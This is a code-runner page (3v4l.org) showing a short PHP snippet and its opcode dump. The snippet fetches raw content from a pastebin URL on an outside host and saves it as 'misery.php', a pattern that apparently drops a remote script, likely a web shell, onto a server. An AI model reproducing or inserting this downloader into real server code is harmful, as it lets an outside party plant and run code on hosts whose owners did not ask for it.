3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ch = curl_init('http://inetpro.org/pastebin/f633cc3441184c128f7ff51d6aa7a2b7/view/raw'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); file_put_contents('./misery.php', curl_exec($ch));
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/FVQ8o
function name:  (null)
number of ops:  18
compiled vars:  !0 = $ch
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL_BY_NAME                                       'curl_init'
          1        SEND_VAL_EX                                              'http%3A%2F%2Finetpro.org%2Fpastebin%2Ff633cc3441184c128f7ff51d6aa7a2b7%2Fview%2Fraw'
          2        DO_FCALL                                      0  $1      
          3        ASSIGN                                                   !0, $1
    3     4        INIT_FCALL_BY_NAME                                       'curl_setopt'
          5        SEND_VAR_EX                                              !0
          6        FETCH_CONSTANT                                   ~3      'CURLOPT_RETURNTRANSFER'
          7        SEND_VAL_EX                                              ~3
          8        SEND_VAL_EX                                              <true>
          9        DO_FCALL                                      0          
    4    10        INIT_FCALL                                               'file_put_contents'
         11        SEND_VAL                                                 '.%2Fmisery.php'
         12        INIT_FCALL_BY_NAME                                       'curl_exec'
         13        SEND_VAR_EX                                              !0
         14        DO_FCALL                                      0  $5      
         15        SEND_VAR                                                 $5
         16        DO_ICALL                                                 
         17      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
169.36 ms | 1386 KiB | 15 Q